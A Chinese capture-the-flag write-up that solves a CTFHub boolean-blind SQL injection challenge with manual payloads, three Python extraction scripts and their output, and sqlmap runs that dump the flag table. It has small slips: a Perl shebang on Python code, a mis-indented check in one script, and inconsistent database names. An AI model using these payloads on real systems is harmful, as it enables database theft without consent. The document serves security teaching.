

题目考点

- SQL注入
- 布尔盲注

解题思路

tips

在注入语句时应当注意是在输入框中输入数据还是直接拼接在url后面，ctfhub的输入框似乎并不会正确识别“=”符号，部分浏览器的地址栏并不会将“#”正确转义成注释符。

可以直接用相关符号的URL编码进行手工转义后拼接在url后面确保能被正确识别。

%27 # 单引号' 的 URL 编码

%20 # 空格 的 URL 编码

%3C # 小于号< 的 URL 编码

%3E # 大于号> 的 URL 编码

注入分析

访问id=1，虽然无法知道从数据库检索出来的数据是什么，但此时能够从数据库中检索出非空数据。

SQL 布尔注入

ID

输入1试试?

Search

```
select * from news where id=1
query_success
```

访问id=-1，则不能从数据库中检索出数据。

SQL 布尔注入

ID

输个1试试?

Search

```
select * from news where id=-1
query_error
```

用and语句拼接布尔表达式，注入的布尔表达式结果为 true 时，返回query_success。
而注入的布尔表达式结果为 false 时，返回query_error。

访问id=1 and 1=1，返回query_success。

SQL 布尔注入

ID

输个1试试?

Search

```
select * from news where id=1 and 1=1
query_success
```

访问id=1 and 1=1，返回query_error。

SQL 布尔注入

ID

输个1试试?

Search

```
select * from news where id=1 and 1=2
query_error
```

访问id=1' and 1=1 #, 返回query_error。

SQL 布尔注入

ID

输个1试试?

Search

```
select * from news where id=1 ' and 1=1 #
query_error
```

说明存在注入，并且是数字型的注入，如果是字符型的注入，则需要闭合前面的单引号和注释掉后面的多余字符。

通过这种方式，根据页面返回值的不同，得知注入的布尔表达式结果是 True 或者 False。这种方法就叫布尔盲注！

手工注入

猜解库名长度

1 and length(database())=1

SQL 布尔注入

ID

输个1试试?

Search

```
select * from news where id=1 and length(database())=1
query_error
```

通过穷举法进行尝试，当注入 `1 and length(database())=4` 时，返回 `query_success`，说明当前使用的数据库名长度为4。

SQL 布尔注入

ID 输入1试试?

Search

```
select * from news where id=1 and length(database())=4
query_success
```

`database()`: 返回当前使用数据库名称

`length()`: 返回字符串的长度

猜解库名

通过二分法进行尝试，不断注入逐步猜解出库名的每一位字符。

`substr(str, pos, len)`: 截取字符串，`str`为字符串，`pos`为起始位置，`len`为截取字符长度。

`ascii()`: 返回字符的ascii码

[ASCII 表](#) | [菜鸟教程](#)

以猜解库名的第一位字符为例，注入流程如下：

`1 and ascii(substr(database(),1,1))>97`

返回 `query_success`，说明数据库名的第一个字符的ascii值大于97，97为小写字母a的ascii值。

SQL 布尔注入

ID 输入1试试?

Search

```
select * from news where id=1 and ascii(substr(database(),1,1))>97
query_success
```

`1 and ascii(substr(database(),1,1))<122`

返回 `query_success`，说明数据库名的第一个字符的ascii值小于 122，122为小写字母z的ascii值。

`1 and ascii(substr(database(),1,1))<109`

返回 `query_error`，说明数据库名的第一个字符的ascii值不小于 109，109为小写字母m的ascii值。

`1 and ascii(substr(database(),1,1))<116`

返回 `query_success`，说明数据库名的第一个字符的ascii值小于 116，116为小写字母t的ascii值。

范围较小时使用穷举法在已知范围内逐个尝试。

`1 and ascii(substr(database(),1,1))=115`

返回query_success，说明数据库名的第一个字符的ascii值等于115，115为小写字母s的ascii值。

SQL 布尔注入

ID

输个1试试?

Search

```
select * from news where id=1 and ascii(substr(database(),1,1))=115
query_success
```

当注入 `1 and ascii(substr(database(),2,1))>=113` 时，返回query_success，说明数据库名的第二个字符的ascii值等于113，113为小写字母q的ascii值。

SQL 布尔注入

ID

输个1试试?

Search

```
select * from news where id=1 and ascii(substr(database(),2,1))=113
query_success
```

猜解库名的其他位字符，方法同上，得出完整的数据库名为“sql”。

猜解表的数量

注入 `1 and (select count(table_name) from information_schema.tables where table_schema=database())=1`，返回query_error，说明表的数量不为1。

注入 `1 and (select count(table_name) from information_schema.tables where table_schema=database())=2`，返回 `query_success`，说明表的数量为2。



`count(列名)`：返回列名指定列的记录数

猜解表名长度

注入 `1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4`，返回 `query_success`，说明第一个表名长度为4。

猜解第二个表名的长度则将 `limit()` 的第一个参数值由0修改为1。

`limit(i,n)`：从第*i*行数据开始，取*n*条数据，*i*从0开始。

猜解表名

猜解第一个表名的第一个字符，返回 `query_success`，说明第一个表名的第一个字符为f。

`1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102`

注入流程与方法参考猜解库名，最终得出完整的第一个表名为“flag”。

猜解第二个表名则将 `limit()` 的第一个参数值由0修改为1。

完整的第二个表名“news”。

猜解字段的数量

猜解表flag的字段数量，返回 `query_success`，说明表名flag的字段数量为1。

`1 and (select count(column_name) from information_schema.columns where table_name='flag')=1`

猜解字段名的长度

猜解表flag中第一个字段名的长度，返回 `query_success`，说明表flag中第一个字段名的长度为4。

`1 and length(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1))=4`

若该表有第二个字段，猜解第二个字段名的长度则将 `limit()` 的第一个参数值由0修改为1。

猜解字段名

猜解表flag中第一个字段名的第一个字符，返回query_success，说明表flag中第一个字段名的第一个字符为f。

```
1 and ascii(substr((select column_name from information_schema.columns where table_name= 'flag' limit 0,1),1,1))=102
```

若该表有第二个字段，猜解第二个字段名则将 limit() 的第一个参数值由0修改为1。

注入流程与方法参考猜解库名，最终得出表flag中完整的第一个字段名为“flag”。

获取数据

注入如下语句，返回query_success，说明 sqli.flag 表下的 flag 列的第一个数据内容为小写字母c。

```
1 and ascii(substr((select flag from sqli.flag limit 0,1),1,1))=99
```

若有第二个数据，猜解第二个数据则将 limit() 的第一个参数值由0修改为1。

注入流程与方法参考猜解库名，最终可得出表 sqli.flag 下的 flag 列中完整的第一个数据内容。

脚本注入

我们可以用Python编写脚本来对目标网站进行自动注入。

mid()函数和substr()函数的使用方法类似。

获取当前数据库中所有表名称

```
#!/usr/bin/perl
#-- coding:UTF-8 --
import requests

#目标url
url = 'http://challenge-3e5842a08066e481.sandbox.ctfhub.com:10800/?id=1'
#设置一个空字符串，用于存放查询出来数据
result = ''
#i表示表的长度，一般不会超过30
for i in range(1,30):
    #j表示ascii码（字母、数字还有一些特殊符号）
    for j in range(32,127):
        #注入语句
        payload = " and (select ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1))) = {}".format(i,j)
        #将网址和注入语句拼接成访问请求
        r = requests.get(url+payload)
        #print(r.text)

        if('query_success' in r.text):
            #将匹配到的字符添加到result中
            result += chr(j)
            #打印匹配到的字符
            print(result)
            #跳出此次循环
            break
```

```
root@VM-8-17-ubuntu:/young/tools# python exploit1.py
f
fl
fla
flag
flag,
flag,n
flag,ne
flag,new
flag,news
```

获取表flag中所有字段名称

```
#-- coding:UTF-8 --
import requests

#目标url
url = 'http://challenge-3e5842a08066e481.sandbox.ctfhub.com:10800/?id=1'
#设置一个空字符串，用于存放查询出来数据
result = ''
#i表示表的长度，一般不会超过30
for i in range(1,30):
    #j表示ascii码（字母、数字还有一些特殊符号）
    for j in range(32,127):
        #注入语句
        payload = " and (select ascii(mid((select group_concat(column_name) from
information_schema.columns where table_name='flag'), {}, 1))) = {}".format(i,j)

        #将网址和注入语句拼接成访问请求
        r = requests.get(url+payload)
        #print(r.text)

        if('query_success' in r.text):
            #将匹配到的字符添加到result中
            result += chr(j)
            #打印匹配到的字符
            print(result)
            #跳出此次循环
            break
```

```
root@VM-8-17-ubuntu:/young/tools# python exploit2.py
f
fl
fla
flag
```

获取表flag中字段flag的数据

```
#-- coding:UTF-8 --
import requests

#目标url
```



```
url = 'http://challenge-3e5842a08066e481.sandbox.ctfhub.com:10800/?id=1'
#设置一个空字符串，用于存放查询出来数据
result = ''
#i表示表的长度，一般不会超过50
for i in range(1,50):
    #j表示ascii码（字母、数字还有一些特殊符号）
    for j in range(32,127):
        #注入语句
        payload = " and (select ascii(mid((select concat(flag) from flag), {}, 1))) = {}".format(i,j)

        #将网址和注入语句拼接成访问请求
        r = requests.get(url+payload)
        #print(r.text)

    if('query_success' in r.text):
        #将匹配到的字符添加到result中
        result += chr(j)
        #打印匹配到的字符
        print(result)
        #跳出此次循环
        break
```

```
root@VM-8-17-ubuntu:/young/tools# python exploit3.py
c
ct
ctf
ctfh
ctfhu
ctfhub
ctfhub{
ctfhub{1
ctfhub{10
ctfhub{108
ctfhub{108c
ctfhub{108c4
ctfhub{108c4e
ctfhub{108c4e8
ctfhub{108c4e8a
ctfhub{108c4e8af
ctfhub{108c4e8af5
ctfhub{108c4e8af57
ctfhub{108c4e8af577
ctfhub{108c4e8af577e
ctfhub{108c4e8af577ea
ctfhub{108c4e8af577ea3
ctfhub{108c4e8af577ea33
ctfhub{108c4e8af577ea335
ctfhub{108c4e8af577ea335a
ctfhub{108c4e8af577ea335a7
ctfhub{108c4e8af577ea335a70
ctfhub{108c4e8af577ea335a70b
ctfhub{108c4e8af577ea335a70b1
ctfhub{108c4e8af577ea335a70b10
ctfhub{108c4e8af577ea335a70b109
ctfhub{108c4e8af577ea335a70b109}
```

使用sqlmap

获取库名

```
python sqlmap.py -u "http://challenge-3e5842a08066e481.sandbox.ctfhub.com:10800/?id=1" --dbs
```

获取表名

```
python sqlmap.py -u "http://challenge-3e5842a08066e481.sandbox.ctfhub.com:10800/?id=1" -D sql_i --tables
```

```
root@VM-8-17-ubuntu:/young/tools/sqlmap-1.8# python sqlmap.py -u "http://challenge-51a8a5eee4dfbb74.sandbox.ctfhub.com:10800/?id=1" -D sql_i --tables

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:33:50 /2024-04-05/

[16:33:50] [INFO] resuming back-end DBMS 'mysql'
[16:33:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1 AND (SELECT 1438 FROM (SELECT(SLEEP(5))))TJLU
---
[16:33:50] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.14, OpenResty 1.21.4.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[16:33:50] [INFO] fetching tables for database: 'sql_i'
[16:33:50] [INFO] fetching number of tables for database 'sql_i'
[16:33:50] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[16:33:57] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]

2
[16:34:10] [INFO] retrieved:
[16:34:15] [INFO] adjusting time delay to 1 second due to good response times
flag
[16:34:33] [INFO] retrieved: news
Database: sql_i
[2 tables]
+-----+
| flag |
| news |
+-----+
```

获取字段名

```
python sqlmap.py -u "http://challenge-3e5842a08066e481.sandbox.ctfhub.com:10800/?id=1" -D sql_i -T flag --columns
```

获取数据

```
python sqlmap.py -u "http://challenge-3e5842a08066e481.sandbox.ctfhub.com:10800/?id=1" -D sql_i -T flag -C flag --dump
```

```
root@VM-8-17-ubuntu:/young/tools/sqlmap-1.8# python sqlmap.py -u "http://challenge-51a8a5eee4dfbb74.sandbox.ctfhub.com:10800/?id=1" -D sql_i -T flag -C flag --dump --batch

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:40:30 /2024-04-05/

[16:40:31] [INFO] resuming back-end DBMS 'mysql'
[16:40:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1 AND (SELECT 1438 FROM (SELECT(SLEEP(5))))TJLU
---
[16:40:31] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.14, OpenResty 1.21.4.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[16:40:31] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'sql_i'
[16:40:31] [INFO] fetching number of column(s) 'flag' entries for table 'flag' in database 'sql_i'
[16:40:31] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[16:40:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1
[16:40:45] [WARNING] reflective value(s) found and filtering out of statistical model, please wait
..... (done)
[16:41:02] [INFO] adjusting time delay to 1 second due to good response times
ctfhub{8b02b0e596f2e5923926dc60}
Database: sql_i
Table: flag
[1 entry]
+-----+
| flag |
+-----+
| ctfhub{8b02b0e596f2e5923926dc60} |
+-----+
```

FLAG

此题为动态FLAG。